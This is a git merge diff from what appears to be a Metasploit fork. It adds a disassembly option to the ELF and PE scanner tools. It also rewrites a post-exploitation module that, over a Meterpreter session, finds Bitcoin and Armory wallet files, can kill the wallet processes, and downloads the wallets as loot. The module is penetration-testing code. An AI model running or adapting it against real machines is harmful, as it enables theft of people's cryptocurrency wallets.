Merge remote-tracking branch 'metasploit-framework/master' into masked-cred-format-update
commit
2f8f46c984
|
@ -1,4 +1,5 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
require 'metasm'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module ElfScan
|
module ElfScan
|
||||||
|
@ -27,6 +28,26 @@ class Generic
|
||||||
rva = hit[0]
|
rva = hit[0]
|
||||||
message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1]
|
message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1]
|
||||||
$stdout.puts elf.ptr_s(rva) + " " + message
|
$stdout.puts elf.ptr_s(rva) + " " + message
|
||||||
|
if(param['disasm'])
|
||||||
|
message.gsub!("; ", "\n")
|
||||||
|
if message.include?("retn")
|
||||||
|
message.gsub!("retn", "ret")
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, message).disassemble
|
||||||
|
rescue Metasm::ParseError
|
||||||
|
d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [message].pack('H*'))
|
||||||
|
end
|
||||||
|
|
||||||
|
addr = 0
|
||||||
|
while ((di = d2.disassemble_instruction(addr)))
|
||||||
|
disasm = "0x%08x\t" % (rva + addr)
|
||||||
|
disasm << di.instruction.to_s
|
||||||
|
$stdout.puts disasm
|
||||||
|
addr = di.next_addr
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -203,4 +224,3 @@ end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -15,63 +15,99 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
'Name' => 'Windows Gather Bitcoin wallet.dat',
|
'Name' => 'Windows Gather Bitcoin Wallet',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module downloads any Bitcoin wallet.dat files from the target system
|
This module downloads any Bitcoin wallet files from the target
|
||||||
|
system. It currently supports both the classic Satoshi wallet and the
|
||||||
|
more recent Armory wallets. Note that Satoshi wallets tend to be
|
||||||
|
unencrypted by default, while Armory wallets tend to be encrypted by default.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'illwill <illwill[at]illmob.org>'],
|
'Author' => [
|
||||||
'Platform' => [ 'win' ],
|
'illwill <illwill[at]illmob.org>', # Original implementation
|
||||||
|
'todb' # Added Armory support
|
||||||
|
],
|
||||||
|
'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...
|
||||||
'SessionTypes' => [ 'meterpreter' ]
|
'SessionTypes' => [ 'meterpreter' ]
|
||||||
))
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]),
|
||||||
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
print_status("Checking All Users For Bitcoin Wallet...")
|
print_status("Checking all user profiles for Bitcoin wallets...")
|
||||||
|
found_wallets = false
|
||||||
grab_user_profiles().each do |user|
|
grab_user_profiles().each do |user|
|
||||||
next if user['AppData'] == nil
|
next unless user['AppData']
|
||||||
tmpath= user['AppData'] + "\\Bitcoin\\wallet.dat"
|
bitcoin_wallet_path = user['AppData'] + "\\Bitcoin\\wallet.dat"
|
||||||
jack_wallet(tmpath)
|
next unless file?(bitcoin_wallet_path)
|
||||||
|
found_wallets = true
|
||||||
|
jack_wallet(bitcoin_wallet_path)
|
||||||
|
armory_wallet_path = user['AppData'] + "\\Armory"
|
||||||
|
session.fs.dir.foreach(armory_wallet_path) do |fname|
|
||||||
|
next unless fname =~ /\.wallet/
|
||||||
|
found_wallets = true
|
||||||
|
armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
|
||||||
|
jack_wallet(armory_wallet_fullpath)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
unless found_wallets
|
||||||
|
print_warning "No wallets found, nothing to do."
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def jack_wallet(filename)
|
def jack_wallet(wallet_path)
|
||||||
data = ""
|
data = ""
|
||||||
return if not file?(filename)
|
wallet_type = case wallet_path
|
||||||
|
when /\.wallet$/
|
||||||
|
:armory
|
||||||
|
when /wallet\.dat$/
|
||||||
|
:satoshi
|
||||||
|
else
|
||||||
|
:unknown
|
||||||
|
end
|
||||||
|
|
||||||
print_status("Wallet Found At #{filename}")
|
if wallet_type == :unknown
|
||||||
print_status(" Jackin their wallet...")
|
print_error "Unknown wallet type: #{wallet_path}, nothing to do."
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
kill_bitcoin
|
print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
|
||||||
|
print_status("Jackin' wallet...")
|
||||||
|
|
||||||
|
kill_bitcoin_processes if datastore['KILL_PROCESSES']
|
||||||
|
|
||||||
begin
|
begin
|
||||||
data = read_file(filename) || ''
|
data = read_file(wallet_path) || ''
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
print_error("Failed to download #{filename}: #{e.class} #{e}")
|
print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if data.empty?
|
if data.empty?
|
||||||
print_error(" No data found")
|
print_error("No data found, nothing to save.")
|
||||||
else
|
else
|
||||||
p = store_loot(
|
loot_result = store_loot(
|
||||||
"bitcoin.wallet",
|
"bitcoin.wallet.#{wallet_type}",
|
||||||
"application/octet-stream",
|
"application/octet-stream",
|
||||||
session,
|
session,
|
||||||
data,
|
data,
|
||||||
filename,
|
wallet_path,
|
||||||
"Bitcoin Wallet"
|
"Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
|
||||||
)
|
)
|
||||||
print_status(" Wallet Jacked: #{p.to_s}")
|
print_status("Wallet jacked: #{loot_result}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def kill_bitcoin
|
def kill_bitcoin_processes
|
||||||
client.sys.process.get_processes().each do |x|
|
client.sys.process.get_processes().each do |process|
|
||||||
if x['name'].downcase == "bitcoin.exe"
|
pname = process['name'].downcase
|
||||||
print_status(" #{x['name']} Process Found...")
|
if pname == "bitcoin.exe" || pname == "bitcoind.exe" || pname == "armoryqt.exe"
|
||||||
print_status(" Killing Process ID #{x['pid']}...")
|
print_status("#{process['name']} Process Found...")
|
||||||
session.sys.process.kill(x['pid']) rescue nil
|
print_status("Killing Process ID #{process['pid']}...")
|
||||||
|
session.sys.process.kill(process['pid'])
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -112,7 +112,7 @@ opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase
|
||||||
param['imagebase'] = opt2i(t)
|
param['imagebase'] = opt2i(t)
|
||||||
end
|
end
|
||||||
|
|
||||||
opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE]') do |t|
|
opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE|ELF]') do |t|
|
||||||
param['disasm'] = true
|
param['disasm'] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -82,6 +82,10 @@ opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)')
|
||||||
param['before'] = opt2i(t)
|
param['before'] = opt2i(t)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
opt.on('-D', '--disasm', 'Disassemble the bytes at this address') do |t|
|
||||||
|
param['disasm'] = true
|
||||||
|
end
|
||||||
|
|
||||||
opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t|
|
opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t|
|
||||||
param['imagebase'] = opt2i(t)
|
param['imagebase'] = opt2i(t)
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue